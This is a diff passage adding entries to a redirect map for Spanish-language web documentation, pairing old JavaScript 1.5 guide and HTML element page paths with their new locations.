+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_asignaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_asignaci.C3.B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#String_operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_comparaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_comparaci.C3.B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_especiales	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Special_operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_l%C3%B3gicos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_l.C3.B3gicos
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_sobre_bits	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_Bit-a-bit
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Predefined_Functions	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Predefined_Functions/eval_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencia_condicional	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Condicionales
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencia_de_bloque	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_bucle	/es/docs/Web/JavaScript/Guide/Loops_and_iteration
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Utilizing_Error_objects
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/throw	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#throw_statement
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/try...catch	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#try...catch_statement
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manipulaci%C3%B3n_de_objetos	/es/docs/Web/JavaScript/Guide
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Sentencias_para_comentarios	/es/docs/Web/JavaScript/Guide
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_may%C3%BAsculas_y_min%C3%BAsculas_y_considerar_entrada_multil%C3%ADnea	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_ignorar_mayusculas_minusculas,_y_considerar_entrada_multilinea	/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil%C3%ADnea
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejemplos_de_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Usar_coincidencias_de_subcadenas_parentizadas	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Unicode	/en-US/docs/Web/JavaScript/Reference/Lexical_grammar
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Usando_el_objeto_arguments	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Using_the_arguments_object	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Valores	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Gu%C3%ADa_JavaScript_1.5/Variables	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Acerca_de_esta_gu%C3%ADa	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Caracter%C3%ADsticas_generales_del_lenguaje	/es/docs/Gu%C3%ADa_JavaScript_1.5/Caracter%C3%ADsticas_generales_del_lenguaje
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Concepto_General_de_LiveConnect:Conversiones_de_Tipo_de_Datos:Conversiones_de_Java_a_JavaScript	/es/docs/Gu%C3%ADa_JavaScript_1.5/Concepto_General_de_LiveConnect/Conversiones_de_Tipo_de_Datos/Conversiones_de_Java_a_JavaScript
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Concepto_de_JavaScript	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Constantes	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Creando_nuevos_objetos
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Borrando_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Eliminando_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Definiendo_las_funciones_get_y_set	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_getters_y_setters
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Definiendo_los_m%C3%A9todos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_los_m.C3.A9todos
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Definiendo_propiedades_para_un_tipo_de_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definici.C3.B3n_de_las_propiedades_de_un_tipo_de_objeto
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Indexando_las_propiedades_del_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Propiedades_del_objeto_indexado
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Usando_this_para_referirse_al_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_this_para_las_referencias_a_objetos
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Usando_una_funci%C3%B3n_constructora	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_una_funci.C3.B3n_constructora
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Using_Object_Initializers	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_nuevos_objetos:Utilizando_Objetos_Iniciadores	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Crear_una_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Definiendo_Funciones	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Empleado	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Employee	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Employee:Constructores_m%C3%A1s_flexibles	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Constructores_mas_flexibles
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Employee:Creando_la_jerarqu%C3%ADa	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creacion_de_la_jerarquia
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Employee:Propiedades_de_objetos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Propiedades_de_objetos
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Employee:Propiedades_de_objetos:A%C3%B1adiendo_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#A.C3.B1adir_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5:El_ejemplo_Employee:Propiedades_de_objetos:Heredando_las_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Herencia_de_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Escribir_un_patr%C3%B3n_de_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Expresiones	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Expresiones_Regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Expresiones_y_operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas	/es/docs/Web/JavaScript/Guide/Funciones#Predefined_functions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas:Funci%C3%B3n_eval	/es/docs/Web/JavaScript/Guide/Funciones#eval_Function
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas:Funci%C3%B3n_isFinite	/es/docs/Web/JavaScript/Guide/Funciones#isFinite_function
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas:Funci%C3%B3n_isNaN	/es/docs/Web/JavaScript/Guide/Funciones#isNaN_function
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas:Funciones_Number_y_String	/es/docs/Web/JavaScript/Guide/Funciones#Number_and_String_functions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas:Funciones_escape_y_unescape	/es/docs/Web/JavaScript/Guide/Funciones#escape_and_unescape_functions(Obsoleted_above_JavaScript_1.5)
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Funciones_predefinidas:Funciones_parseInt_y_parseFloat	/es/docs/Web/JavaScript/Guide/Funciones#parseInt_and_parseFloat_functions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Lenguajes_basados_en_clases_frente_a_basados_en_prototipos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Literales	/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Llamando_Funciones	/es/docs/Web/JavaScript/Guide/Funciones#Llamando_funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5:M%C3%A1s_sobre_la_herencia_de_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Mas_sobre_herencia_de_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5:M%C3%A1s_sobre_la_herencia_de_propiedades:Determinando_relaciones_de_instancia	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Como_determinar_las_relaciones_entre_instancias
+/es/docs/Gu%C3%ADa_JavaScript_1.5:M%C3%A1s_sobre_la_herencia_de_propiedades:Herencia_no_m%C3%BAltiple	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_existe_herencia_multiple
+/es/docs/Gu%C3%ADa_JavaScript_1.5:M%C3%A1s_sobre_la_herencia_de_propiedades:Informaci%C3%B3n_global_en_los_constructores	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Informacion_global_en_los_constructores
+/es/docs/Gu%C3%ADa_JavaScript_1.5:M%C3%A1s_sobre_la_herencia_de_propiedades:Valores_locales_frente_a_los_heredados	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Valores_locales_frente_a_valores_heredados
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos	/es/docs/Web/JavaScript/Referencia
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_base_predefinidos:Objeto_String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Objetos_y_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Objetos_y_propiedades
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_aritm%C3%A9ticos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_aritm.C3.A9ticos
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_de_asignaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_asignaci.C3.B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_de_cadena_de_caracteres_(string)	/es/docs/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_cadena_de_caracteres_(string)
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_de_cadenas_de_caracteres_(string)	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#String_operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_de_comparaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_comparaci.C3.B3n
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_especiales	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Special_operators
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_l%C3%B3gicos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_l.C3.B3gicos
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Operadores:Operadores_sobre_bits	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_Bit-a-bit
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Predefined_Functions:eval_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencia_condicional	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Condicionales
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencia_de_bloque	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencias_de_bucle	/es/docs/Web/JavaScript/Guide/Loops_and_iteration
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencias_de_manejo_de_excepciones	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Utilizing_Error_objects
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencias_de_manejo_de_excepciones:throw	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#throw_statement
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencias_de_manejo_de_excepciones:try...catch	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#try...catch_statement
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencias_de_manipulaci%C3%B3n_de_objetos	/es/docs/Web/JavaScript/Guide
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Sentencias_para_comentarios	/es/docs/Web/JavaScript/Guide
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Trabajar_con_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Trabajar_con_expresiones_regulares:Ejecutar_una_busqueda_global,_discriminar_may%C3%BAsculas_y_min%C3%BAsculas_y_considerar_entrada_multil%C3%ADnea	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Trabajar_con_expresiones_regulares:Ejecutar_una_busqueda_global,_ignorar_mayusculas_minusculas,_y_considerar_entrada_multilinea	/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil%C3%ADnea
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Trabajar_con_expresiones_regulares:Ejemplos_de_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Trabajar_con_expresiones_regulares:Usar_coincidencias_de_subcadenas_parentizadas	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Unicode	/en-US/docs/Web/JavaScript/Reference/Lexical_grammar
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Usando_el_objeto_arguments	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Using_the_arguments_object	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Valores	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Gu%C3%ADa_JavaScript_1.5:Variables	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/Gu%C3%ADa_de_referencia_de_CSS	/es/docs/Web/CSS/Referencia_CSS
+/es/docs/HTML	/es/docs/Web/HTML
+/es/docs/HTML/Block-level_elements	/es/docs/Web/HTML/Block-level_elements
+/es/docs/HTML/Canvas	/es/docs/Web/HTML/Canvas
+/es/docs/HTML/Canvas/Drawing_DOM_objects_into_a_canvas	/es/docs/Web/HTML/Canvas/Drawing_DOM_objects_into_a_canvas
+/es/docs/HTML/Canvas/Drawing_graphics_with_canvas	/es/docs/Web/HTML/Canvas/Drawing_graphics_with_canvas
+/es/docs/HTML/Consejos_para_la_creaci%C3%B3n_de_p%C3%A1ginas_HTML_de_carga_r%C3%A1pida	/es/docs/Web/HTML/Consejos_para_la_creaci%C3%B3n_de_p%C3%A1ginas_HTML_de_carga_r%C3%A1pida
+/es/docs/HTML/Element	/es/docs/Web/HTML/Elemento
+/es/docs/HTML/Element/a	/es/docs/Web/HTML/Elemento/a
+/es/docs/HTML/Element/form	/es/docs/Web/HTML/Elemento/form
+/es/docs/HTML/Element/hgroup	/es/docs/Web/HTML/Elemento/hgroup
+/es/docs/HTML/Element/iframe	/es/docs/Web/HTML/Elemento/iframe
+/es/docs/HTML/Element/section	/es/docs/Web/HTML/Elemento/section
+/es/docs/HTML/Element/tabla	/es/docs/Web/HTML/Elemento/table
+/es/docs/HTML/Element/table	/es/docs/Web/HTML/Elemento/table
+/es/docs/HTML/Element/video	/es/docs/Web/HTML/Elemento/video
+/es/docs/HTML/Elemento	/es/docs/Web/HTML/Elemento
+/es/docs/HTML/Elemento/%3Chtml%3E	/es/docs/Web/HTML/Elemento/%3Chtml%3E
+/es/docs/HTML/Elemento/Audio	/es/docs/Web/HTML/Elemento/Audio
+/es/docs/HTML/Elemento/Elementos_t%C3%ADtulos	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/Progreso	/es/docs/Web/HTML/Elemento/progress
+/es/docs/HTML/Elemento/Tipos_de_elementos	/es/docs/Web/HTML/Elemento/Tipos_de_elementos
+/es/docs/HTML/Elemento/a	/es/docs/Web/HTML/Elemento/a
+/es/docs/HTML/Elemento/abbr	/es/docs/Web/HTML/Elemento/abbr
+/es/docs/HTML/Elemento/acronym	/es/docs/Web/HTML/Elemento/acronym
+/es/docs/HTML/Elemento/address	/es/docs/Web/HTML/Elemento/address
+/es/docs/HTML/Elemento/applet	/es/docs/Web/HTML/Elemento/applet
+/es/docs/HTML/Elemento/area	/es/docs/Web/HTML/Elemento/area
+/es/docs/HTML/Elemento/article	/es/docs/Web/HTML/Elemento/article
+/es/docs/HTML/Elemento/aside	/es/docs/Web/HTML/Elemento/aside
+/es/docs/HTML/Elemento/b	/es/docs/Web/HTML/Elemento/b
+/es/docs/HTML/Elemento/base	/es/docs/Web/HTML/Elemento/base
+/es/docs/HTML/Elemento/basefont	/es/docs/Web/HTML/Elemento/basefont
+/es/docs/HTML/Elemento/bdo	/es/docs/Web/HTML/Elemento/bdo
+/es/docs/HTML/Elemento/big	/es/docs/Web/HTML/Elemento/big
+/es/docs/HTML/Elemento/blockquote	/es/docs/Web/HTML/Elemento/blockquote
+/es/docs/HTML/Elemento/body	/es/docs/Web/HTML/Elemento/body
+/es/docs/HTML/Elemento/br	/es/docs/Web/HTML/Elemento/br
+/es/docs/HTML/Elemento/button	/es/docs/Web/HTML/Elemento/button
+/es/docs/HTML/Elemento/canvas	/es/docs/Web/HTML/Elemento/canvas
+/es/docs/HTML/Elemento/caption	/es/docs/Web/HTML/Elemento/caption
+/es/docs/HTML/Elemento/center	/es/docs/Web/HTML/Elemento/center
+/es/docs/HTML/Elemento/cite	/es/docs/Web/HTML/Elemento/cite
+/es/docs/HTML/Elemento/code	/es/docs/Web/HTML/Elemento/code
+/es/docs/HTML/Elemento/col	/es/docs/Web/HTML/Elemento/col
+/es/docs/HTML/Elemento/colgroup	/es/docs/Web/HTML/Elemento/colgroup
+/es/docs/HTML/Elemento/dd	/es/docs/Web/HTML/Elemento/dd
+/es/docs/HTML/Elemento/del	/es/docs/Web/HTML/Elemento/del
+/es/docs/HTML/Elemento/dfn	/es/docs/Web/HTML/Elemento/dfn
+/es/docs/HTML/Elemento/dir	/es/docs/Web/HTML/Elemento/dir
+/es/docs/HTML/Elemento/div	/es/docs/Web/HTML/Elemento/div
+/es/docs/HTML/Elemento/dl	/es/docs/Web/HTML/Elemento/dl
+/es/docs/HTML/Elemento/dt	/es/docs/Web/HTML/Elemento/dt
+/es/docs/HTML/Elemento/em	/es/docs/Web/HTML/Elemento/em
+/es/docs/HTML/Elemento/embed	/es/docs/Web/HTML/Elemento/embed
+/es/docs/HTML/Elemento/etiqueta	/es/docs/Web/HTML/Elemento/label
+/es/docs/HTML/Elemento/fieldset	/es/docs/Web/HTML/Elemento/fieldset
+/es/docs/HTML/Elemento/figure	/es/docs/Web/HTML/Elemento/figure
+/es/docs/HTML/Elemento/font	/es/docs/Web/HTML/Elemento/font
+/es/docs/HTML/Elemento/footer	/es/docs/Web/HTML/Elemento/footer
+/es/docs/HTML/Elemento/frame	/es/docs/Web/HTML/Elemento/frame
+/es/docs/HTML/Elemento/frameset	/es/docs/Web/HTML/Elemento/frameset
+/es/docs/HTML/Elemento/h1	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/h2	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/h3	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/h4	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/h5	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/h6	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML/Elemento/head	/es/docs/Web/HTML/Elemento/head
+/es/docs/HTML/Elemento/header	/es/docs/Web/HTML/Elemento/header
+/es/docs/HTML/Elemento/hr	/es/docs/Web/HTML/Elemento/hr
+/es/docs/HTML/Elemento/html	/es/docs/Web/HTML/Elemento/html
+/es/docs/HTML/Elemento/i	/es/docs/Web/HTML/Elemento/i
+/es/docs/HTML/Elemento/img	/es/docs/Web/HTML/Elemento/img
+/es/docs/HTML/Elemento/input	/es/docs/Web/HTML/Elemento/input
+/es/docs/HTML/Elemento/ins	/es/docs/Web/HTML/Elemento/ins
+/es/docs/HTML/Elemento/kbd	/es/docs/Web/HTML/Elemento/kbd
+/es/docs/HTML/Elemento/keygen	/es/docs/Web/HTML/Elemento/keygen
+/es/docs/HTML/Elemento/label	/es/docs/Web/HTML/Elemento/label
+/es/docs/HTML/Elemento/legend	/es/docs/Web/HTML/Elemento/legend
+/es/docs/HTML/Elemento/li	/es/docs/Web/HTML/Elemento/li
+/es/docs/HTML/Elemento/link	/es/docs/Web/HTML/Elemento/link
+/es/docs/HTML/Elemento/main	/es/docs/Web/HTML/Elemento/main
+/es/docs/HTML/Elemento/map	/es/docs/Web/HTML/Elemento/map
+/es/docs/HTML/Elemento/mark	/es/docs/Web/HTML/Elemento/mark
+/es/docs/HTML/Elemento/menu	/es/docs/Web/HTML/Elemento/menu
+/es/docs/HTML/Elemento/meta	/es/docs/Web/HTML/Elemento/meta
+/es/docs/HTML/Elemento/nav	/es/docs/Web/HTML/Elemento/nav
+/es/docs/HTML/Elemento/noframes	/es/docs/Web/HTML/Elemento/noframes
+/es/docs/HTML/Elemento/noscript	/es/docs/Web/HTML/Elemento/noscript
+/es/docs/HTML/Elemento/ol	/es/docs/Web/HTML/Elemento/ol
+/es/docs/HTML/Elemento/p	/es/docs/Web/HTML/Elemento/p
+/es/docs/HTML/Elemento/param	/es/docs/Web/HTML/Elemento/param
+/es/docs/HTML/Elemento/pre	/es/docs/Web/HTML/Elemento/pre
+/es/docs/HTML/Elemento/preformato	/es/docs/Web/HTML/Elemento/pre
+/es/docs/HTML/Elemento/q	/es/docs/Web/HTML/Elemento/q
+/es/docs/HTML/Elemento/s	/es/docs/Web/HTML/Elemento/s
+/es/docs/HTML/Elemento/samp	/es/docs/Web/HTML/Elemento/samp
+/es/docs/HTML/Elemento/small	/es/docs/Web/HTML/Elemento/small
+/es/docs/HTML/Elemento/source	/es/docs/Web/HTML/Elemento/source
+/es/docs/HTML/Elemento/span	/es/docs/Web/HTML/Elemento/span
+/es/docs/HTML/Elemento/strike	/es/docs/Web/HTML/Elemento/strike
+/es/docs/HTML/Elemento/strong	/es/docs/Web/HTML/Elemento/strong
+/es/docs/HTML/Elemento/style	/es/docs/Web/HTML/Elemento/style
+/es/docs/HTML/Elemento/sub	/es/docs/Web/HTML/Elemento/sub
+/es/docs/HTML/Elemento/sup	/es/docs/Web/HTML/Elemento/sup
+/es/docs/HTML/Elemento/time	/es/docs/Web/HTML/Elemento/time
+/es/docs/HTML/Elemento/title	/es/docs/Web/HTML/Elemento/title
+/es/docs/HTML/Elemento/tt	/es/docs/Web/HTML/Elemento/tt
+/es/docs/HTML/Elemento/u	/es/docs/Web/HTML/Elemento/u
+/es/docs/HTML/Elemento/ul	/es/docs/Web/HTML/Elemento/ul
+/es/docs/HTML/Elemento/var	/es/docs/Web/HTML/Elemento/var
+/es/docs/HTML/Elemento/video	/es/docs/Web/HTML/Elemento/video
+/es/docs/HTML/Formatos_admitidos_de_audio_y_video_en_html5	/es/docs/Web/HTML/Formatos_admitidos_de_audio_y_video_en_html5
+/es/docs/HTML/HTML5/Introduction_to_HTML5	/es/docs/HTML/HTML5/Introducci%C3%B3n_a_HTML5
+/es/docs/HTML/La_importancia_de_comentar_correctamente	/es/docs/Web/HTML/La_importancia_de_comentar_correctamente
+/es/docs/HTML:Canvas	/es/docs/Web/HTML/Canvas
+/es/docs/HTML:Comunidad	/es/docs/HTML/Comunidad
+/es/docs/HTML:Element	/es/docs/Web/HTML/Elemento
+/es/docs/HTML:Element:a	/es/docs/Web/HTML/Elemento/a
+/es/docs/HTML:Elemento	/es/docs/Web/HTML/Elemento
+/es/docs/HTML:Elemento:Tipos_de_elementos	/es/docs/Web/HTML/Elemento/Tipos_de_elementos
+/es/docs/HTML:Elemento:a	/es/docs/Web/HTML/Elemento/a
+/es/docs/HTML:Elemento:abbr	/es/docs/Web/HTML/Elemento/abbr
+/es/docs/HTML:Elemento:acronym	/es/docs/Web/HTML/Elemento/acronym
+/es/docs/HTML:Elemento:address	/es/docs/Web/HTML/Elemento/address
+/es/docs/HTML:Elemento:applet	/es/docs/Web/HTML/Elemento/applet
+/es/docs/HTML:Elemento:area	/es/docs/Web/HTML/Elemento/area
